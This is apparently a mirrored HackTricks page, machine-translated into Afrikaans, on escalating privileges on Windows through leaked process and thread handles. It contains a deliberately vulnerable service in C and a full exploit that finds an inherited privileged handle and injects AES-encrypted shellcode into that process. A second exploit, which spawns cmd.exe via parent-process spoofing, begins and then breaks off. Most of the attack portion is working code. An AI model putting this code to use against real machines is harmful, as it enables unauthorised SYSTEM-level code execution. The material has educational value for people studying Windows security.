mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
714 lines
27 KiB
Markdown
714 lines
27 KiB
Markdown
# Uitgelekde Handvatsels Uitbuiting
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Inleiding
|
|
|
|
Handvatsels in 'n proses maak dit moontlik om verskillende **Windows-hulpbronne** te **benader**:
|
|
|
|
![RootedCON2022 - Uitbuiting van Uitgelekte Handvatsels vir LPE](<../../.gitbook/assets/image (246).png>)
|
|
|
|
Daar was reeds verskeie gevalle van **privilege-escalation** waar 'n **bevoorregte proses** met **oop en oorerflike handvatsels** 'n **ongepriviligeerde proses laat loop** wat toegang het tot al daardie handvatsels.
|
|
|
|
Byvoorbeeld, stel jou voor dat **'n proses wat as SISTEEM loop 'n nuwe proses oopmaak** (`OpenProcess()`) met **volle toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat al die oop handvatsels van die hoofproses oorerf**.\
|
|
Dan, as jy **volle toegang het tot die lae bevoorregte proses**, kan jy die **oop handvat na die bevoorregte proses wat geskep is** met `OpenProcess()` gryp en 'n skelkode **inspuit**.
|
|
|
|
## **Interessante Handvatsels**
|
|
|
|
### **Proses**
|
|
|
|
Soos jy gelees het in die aanvanklike voorbeeld, as 'n **ongepriviligeerde proses 'n proseshandvat oorerf** van 'n **bevoorregte proses** met genoeg toestemmings, sal dit in staat wees om **willekeurige kode daarop uit te voer**.
|
|
|
|
In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) kan jy sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:
|
|
|
|
* PROCESS\_ALL\_ACCESS
|
|
* PROCESS\_CREATE\_PROCESS
|
|
* PROCESS\_CREATE\_THREAD
|
|
* PROCESS\_DUP\_HANDLE
|
|
* PROCESS\_VM\_WRITE
|
|
|
|
### Draad
|
|
|
|
Soortgelyk aan die proseshandvatsels, as 'n **ongepriviligeerde proses 'n draadhandvat oorerf** van 'n **bevoorregte proses** met genoeg toestemmings, sal dit in staat wees om **willekeurige kode daarop uit te voer**.
|
|
|
|
In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) kan jy ook sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:
|
|
|
|
* THREAD\_ALL\_ACCESS
|
|
* THREAD\_DIRECT\_IMPERSONATION
|
|
* THREAD\_SET\_CONTEXT
|
|
|
|
### Lêer-, Sleutel- & Afdelingshandvatsels
|
|
|
|
As 'n **ongepriviligeerde proses** 'n **handvat oorerf** met **skryf-ekwivalente toestemmings** oor 'n **bevoorregte lêer of register**, sal dit in staat wees om die lêer/register te **oorwryf** (en met baie **geluk**, **bevoorregte toegang te eskaleer**).
|
|
|
|
**Afdelingshandvatsels** is soortgelyk aan lêerhandvatsels, die algemene naam van hierdie soorte [voorwerpe is **"Lêerafbeelding"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Dit word gebruik om met **groot lêers te werk sonder om die hele** lêer in die geheue te hou. Dit maak die uitbuiting soortgelyk aan die uitbuiting van 'n Lêerhandvat.
|
|
|
|
## Hoe om handvatsels van prosesse te sien
|
|
|
|
### Process Hacker
|
|
|
|
[**Process Hacker**](https://github.com/processhacker/processhacker) is 'n gratis hulpmiddel wat jy kan aflaai. Dit het verskeie wonderlike opsies om prosesse te ondersoek en een daarvan is die **vermoë om die handvatsels van elke proses te sien**.
|
|
|
|
Let daarop dat om **alle handvatsels van al die prosesse te sien, die SeDebugPrivilege nodig is** (so jy moet Process Hacker as administrateur laat loop).
|
|
|
|
Om die handvatsels van 'n proses te sien, klik regskaf in die proses en kies Handvatsels:
|
|
|
|
![](<../../.gitbook/assets/image (616).png>)
|
|
|
|
Jy kan dan regskaf op die handvat klik en die **toestemmings nagaan**:
|
|
|
|
![](<../../.gitbook/assets/image (946).png>)
|
|
|
|
### Sysinternals Handvatsels
|
|
|
|
Die [**Handvatsels** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binêre van Sysinternals sal ook die handvatsels per proses in die konsole lys:
|
|
|
|
![](<../../.gitbook/assets/image (720).png>)
|
|
|
|
### UitgelekteHandvatselsVinder
|
|
|
|
[**Hierdie instrument**](https://github.com/lab52io/LeakedHandlesFinder) laat jou toe om uitgelekte **handvatsels te monitor** en selfs **outomaties te benut** om voorregte te eskaleer.
|
|
|
|
### Metodologie
|
|
|
|
Nou dat jy weet hoe om handvatsels van prosesse te vind, moet jy nagaan of enige **ongepriviligeerde proses toegang het tot bevoorregte handvatsels**. In daardie geval kan die gebruiker van die proses in staat wees om die handvat te verkry en dit misbruik om voorregte te eskaleer.
|
|
|
|
{% hint style="warning" %}
|
|
Dit is voorheen genoem dat jy die SeDebugPrivilege nodig het om toegang tot al die handvatsels te verkry. Maar 'n **gebruiker kan steeds toegang hê tot die handvatsels van sy prosesse**, so dit kan nuttig wees as jy wil privesk net van daardie gebruiker om die gereedskap met die gebruiker se gewone toestemmings uit te voer**.**
|
|
```bash
|
|
handle64.exe /a | findstr /r /i "process thread file key pid:"
|
|
```
|
|
{% endhint %}
|
|
|
|
## Kwesbare Voorbeeld
|
|
|
|
Byvoorbeeld, die volgende kode behoort aan 'n **Windows-diens** wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre lêer is geleë binne die **`Exploit`**-funksie. Hierdie funksie begin met **die skep van 'n nuwe handvatselproses met volle toegang**. Dan, dit **skep 'n lae-bevoorregte proses** (deur die lae-bevoorregte token van _explorer.exe_ te kopieer) wat _C:\gebruikers\gebruikersnaam\tafelblad\klient.exe_ uitvoer. Die **kwesbaarheid lê daarin dat dit die lae-bevoorregte proses skep met `bInheritHandles` as `TRUE`**.
|
|
|
|
Daarom is hierdie lae-bevoorregte proses in staat om die handvatsel van die hoë-bevoorregte proses wat eerste geskep is, te gryp en 'n shellkode in te spuit en uit te voer (sien volgende afdeling).
|
|
```c
|
|
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include <tchar.h>
|
|
#pragma comment (lib, "advapi32")
|
|
|
|
TCHAR* serviceName = TEXT("HandleLeakSrv");
|
|
SERVICE_STATUS serviceStatus;
|
|
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
|
|
HANDLE stopServiceEvent = 0;
|
|
|
|
|
|
//Find PID of a proces from its name
|
|
int FindTarget(const char *procname) {
|
|
|
|
HANDLE hProcSnap;
|
|
PROCESSENTRY32 pe32;
|
|
int pid = 0;
|
|
|
|
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
if (!Process32First(hProcSnap, &pe32)) {
|
|
CloseHandle(hProcSnap);
|
|
return 0;
|
|
}
|
|
|
|
while (Process32Next(hProcSnap, &pe32)) {
|
|
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
|
|
pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
}
|
|
|
|
CloseHandle(hProcSnap);
|
|
|
|
return pid;
|
|
}
|
|
|
|
|
|
int Exploit(void) {
|
|
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
HANDLE hUserToken;
|
|
HANDLE hUserProc;
|
|
HANDLE hProc;
|
|
|
|
// open a handle to itself (privileged process) - this gets leaked!
|
|
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
|
|
|
|
// get PID of user low privileged process
|
|
if ( pid = FindTarget("explorer.exe") )
|
|
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
else
|
|
return -1;
|
|
|
|
// extract low privilege token from a user's process
|
|
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
|
|
CloseHandle(hUserProc);
|
|
return -1;
|
|
}
|
|
|
|
// spawn a child process with low privs and leaked handle
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
|
|
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
|
|
|
CloseHandle(hProc);
|
|
CloseHandle(hUserProc);
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
void WINAPI ServiceControlHandler( DWORD controlCode ) {
|
|
switch ( controlCode ) {
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
case SERVICE_CONTROL_STOP:
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
SetEvent( stopServiceEvent );
|
|
return;
|
|
|
|
case SERVICE_CONTROL_PAUSE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_CONTINUE:
|
|
break;
|
|
|
|
case SERVICE_CONTROL_INTERROGATE:
|
|
break;
|
|
|
|
default:
|
|
break;
|
|
}
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
|
|
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
|
|
// initialise service status
|
|
serviceStatus.dwServiceType = SERVICE_WIN32;
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
serviceStatus.dwControlsAccepted = 0;
|
|
serviceStatus.dwWin32ExitCode = NO_ERROR;
|
|
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
|
|
serviceStatus.dwCheckPoint = 0;
|
|
serviceStatus.dwWaitHint = 0;
|
|
|
|
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
|
|
|
|
if ( serviceStatusHandle ) {
|
|
// service is starting
|
|
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do initialisation here
|
|
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
|
|
|
|
// running
|
|
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_RUNNING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
Exploit();
|
|
WaitForSingleObject( stopServiceEvent, -1 );
|
|
|
|
// service was stopped
|
|
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
|
|
// do cleanup here
|
|
CloseHandle( stopServiceEvent );
|
|
stopServiceEvent = 0;
|
|
|
|
// service is now stopped
|
|
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
|
|
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|
|
SetServiceStatus( serviceStatusHandle, &serviceStatus );
|
|
}
|
|
}
|
|
|
|
|
|
void InstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
|
|
|
|
if ( serviceControlManager ) {
|
|
TCHAR path[ _MAX_PATH + 1 ];
|
|
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
|
|
SC_HANDLE service = CreateService( serviceControlManager,
|
|
serviceName, serviceName,
|
|
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
|
|
0, 0, 0, 0, 0 );
|
|
if ( service )
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
void UninstallService() {
|
|
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
|
|
|
|
if ( serviceControlManager ) {
|
|
SC_HANDLE service = OpenService( serviceControlManager,
|
|
serviceName, SERVICE_QUERY_STATUS | DELETE );
|
|
if ( service ) {
|
|
SERVICE_STATUS serviceStatus;
|
|
if ( QueryServiceStatus( service, &serviceStatus ) ) {
|
|
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
|
|
DeleteService( service );
|
|
}
|
|
CloseServiceHandle( service );
|
|
}
|
|
CloseServiceHandle( serviceControlManager );
|
|
}
|
|
}
|
|
|
|
int _tmain( int argc, TCHAR* argv[] )
|
|
{
|
|
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
|
|
InstallService();
|
|
}
|
|
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
|
|
UninstallService();
|
|
}
|
|
else {
|
|
SERVICE_TABLE_ENTRY serviceTable[] = {
|
|
{ serviceName, ServiceMain },
|
|
{ 0, 0 }
|
|
};
|
|
|
|
StartServiceCtrlDispatcher( serviceTable );
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Uitbuitingsvoorbeeld 1
|
|
|
|
{% hint style="info" %}
|
|
In 'n werklike scenario sal jy waarskynlik **nie die binêre lêer kan beheer nie** wat deur die kwesbare kode uitgevoer gaan word (_C:\gebruikers\gebruikersnaam\tafelblad\klient.exe_ in hierdie geval). Jy sal waarskynlik 'n proses **kompromitteer en moet kyk of jy enige kwesbare handvatsels van enige bevoorregte proses kan benader**.
|
|
{% endhint %}
|
|
|
|
In hierdie voorbeeld kan jy die kode van 'n moontlike uitbuiting vir _C:\gebruikers\gebruikersnaam\tafelblad\klient.exe_ vind.\
|
|
Die mees interessante deel van hierdie kode is geleë in `GetVulnProcHandle`. Hierdie funksie sal **begin om al die handvatsels te soek**, dan sal dit **kyk of enige van hulle aan dieselfde PID behoort** en as die handvat aan 'n **proses** behoort. As al hierdie vereistes voltooi is ( 'n toeganklike oop proseshandvat is gevind), sal dit probeer om 'n **shellkode in te spuit en uit te voer deur die handvat van die proses te misbruik**.\
|
|
Die inspuiting van die shellkode word binne die **`Inject`** funksie gedoen en dit sal net **die shellkode binne die bevoorregte proses skryf en 'n draad binne dieselfde proses skep** om die shellkode uit te voer.
|
|
```c
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <wincrypt.h>
|
|
#include <psapi.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include "client.h"
|
|
#pragma comment (lib, "crypt32.lib")
|
|
#pragma comment (lib, "advapi32")
|
|
#pragma comment (lib, "kernel32")
|
|
|
|
|
|
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
|
|
HCRYPTPROV hProv;
|
|
HCRYPTHASH hHash;
|
|
HCRYPTKEY hKey;
|
|
|
|
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
|
|
return -1;
|
|
}
|
|
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
|
|
return -1;
|
|
}
|
|
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
|
|
return -1;
|
|
}
|
|
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
|
|
return -1;
|
|
}
|
|
|
|
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
|
|
return -1;
|
|
}
|
|
|
|
CryptReleaseContext(hProv, 0);
|
|
CryptDestroyHash(hHash);
|
|
CryptDestroyKey(hKey);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
HANDLE GetVulnProcHandle(void) {
|
|
|
|
ULONG handleInfoSize = 0x10000;
|
|
NTSTATUS status;
|
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
|
HANDLE hProc = NULL;
|
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
|
PVOID objectNameInfo;
|
|
UNICODE_STRING objectName;
|
|
ULONG returnLength;
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
DWORD dwOwnPID = GetCurrentProcessId();
|
|
|
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
|
|
|
printf("[+] Grabbing handles...");
|
|
|
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
|
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[!] NtQuerySystemInformation failed!\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
|
|
|
// iterate handles until we find the privileged process handle
|
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
|
{
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
|
|
|
// Check if this handle belongs to our own process
|
|
if (handle.UniqueProcessId != dwOwnPID)
|
|
continue;
|
|
|
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectTypeInformation,
|
|
objectTypeInfo,
|
|
0x1000,
|
|
NULL ) != STATUS_SUCCESS)
|
|
continue;
|
|
|
|
// skip some objects to avoid getting stuck
|
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
|
if (handle.GrantedAccess == 0x0012019f
|
|
&& handle.GrantedAccess != 0x00120189
|
|
&& handle.GrantedAccess != 0x120089
|
|
&& handle.GrantedAccess != 0x1A019F ) {
|
|
free(objectTypeInfo);
|
|
continue;
|
|
}
|
|
|
|
// get object name information
|
|
objectNameInfo = malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
0x1000,
|
|
&returnLength ) != STATUS_SUCCESS) {
|
|
|
|
// adjust the size of a returned object and query again
|
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
returnLength,
|
|
NULL ) != STATUS_SUCCESS) {
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
// check if we've got a process object
|
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
|
UNICODE_STRING pProcess;
|
|
|
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
|
hProc = (HANDLE) handle.HandleValue;
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
break;
|
|
}
|
|
else
|
|
continue;
|
|
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
}
|
|
|
|
return hProc;
|
|
}
|
|
|
|
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
|
|
|
|
LPVOID pRemoteCode = NULL;
|
|
HANDLE hThread = NULL;
|
|
BOOL bStatus = FALSE;
|
|
|
|
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
|
|
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
|
|
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
|
|
|
|
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
|
|
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
|
|
|
|
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
|
|
if (bStatus != FALSE) {
|
|
WaitForSingleObject(hThread, -1);
|
|
CloseHandle(hThread);
|
|
return 0;
|
|
}
|
|
else
|
|
return -1;
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
int pid = 0;
|
|
HANDLE hProc = NULL;
|
|
|
|
// AES encrypted shellcode spawning notepad.exe (ExitThread)
|
|
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
|
|
```c
|
|
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
|
|
unsigned int payload_len = sizeof(payload);
|
|
|
|
printf("My PID: %d\n", GetCurrentProcessId());
|
|
getchar();
|
|
|
|
// Vind 'n uitgelekte handvatsel na 'n proses
|
|
hProc = GetVulnProcHandle();
|
|
|
|
if ( hProc != NULL) {
|
|
|
|
// d#Decrypt payload
|
|
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
|
|
printf("[+] Sending gift...");
|
|
// Inject en voer die payload uit in die bevoorregte konteks
|
|
Inject(hProc, payload, payload_len);
|
|
printf("done.\n");
|
|
}
|
|
getchar();
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Uitbuitingsvoorbeeld 2
|
|
|
|
{% hint style="info" %}
|
|
In 'n werklike scenario sal jy waarskynlik **nie die binêre lêer kan beheer nie** wat deur die kwesbare kode uitgevoer gaan word (_C:\users\gebruikersnaam\desktop\client.exe_ in hierdie geval). Jy sal waarskynlik 'n proses **kompromitteer en moet kyk of jy toegang kan verkry tot enige kwesbare handvatsels van enige bevoorregte proses**.
|
|
{% endhint %}
|
|
|
|
In hierdie voorbeeld, **in plaas van die oop handvat te misbruik** om 'n shell-kode in te spuit en uit te voer, gaan dit gebruik word **die token van die bevoorregte oop handvat proses om 'n nuwe een te skep**. Dit word gedoen in lyne vanaf 138 tot 148.
|
|
|
|
Let op hoe die **funksie `UpdateProcThreadAttribute`** gebruik word met die **eienskap `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` en die handvat na die oop bevoorregte proses**. Dit beteken dat die **geskepte prosesdraad wat \_cmd.exe uitvoer**\_\*\* dieselfde tokenbevoegdheid as die oop handvat proses sal hê\*\*.
|
|
```c
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <wincrypt.h>
|
|
#include <psapi.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include "client.h"
|
|
#pragma comment (lib, "crypt32.lib")
|
|
#pragma comment (lib, "advapi32")
|
|
#pragma comment (lib, "kernel32")
|
|
|
|
|
|
HANDLE GetVulnProcHandle(void) {
|
|
|
|
ULONG handleInfoSize = 0x10000;
|
|
NTSTATUS status;
|
|
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
|
|
HANDLE hProc = NULL;
|
|
POBJECT_TYPE_INFORMATION objectTypeInfo;
|
|
PVOID objectNameInfo;
|
|
UNICODE_STRING objectName;
|
|
ULONG returnLength;
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
DWORD dwOwnPID = GetCurrentProcessId();
|
|
|
|
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
|
|
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
|
|
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
|
|
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
|
|
|
|
printf("[+] Grabbing handles...");
|
|
|
|
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
|
|
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
|
|
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
|
|
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[!] NtQuerySystemInformation failed!\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
|
|
|
|
// iterate handles until we find the privileged process handle
|
|
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
|
|
{
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
|
|
|
// Check if this handle belongs to our own process
|
|
if (handle.UniqueProcessId != dwOwnPID)
|
|
continue;
|
|
|
|
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectTypeInformation,
|
|
objectTypeInfo,
|
|
0x1000,
|
|
NULL ) != STATUS_SUCCESS)
|
|
continue;
|
|
|
|
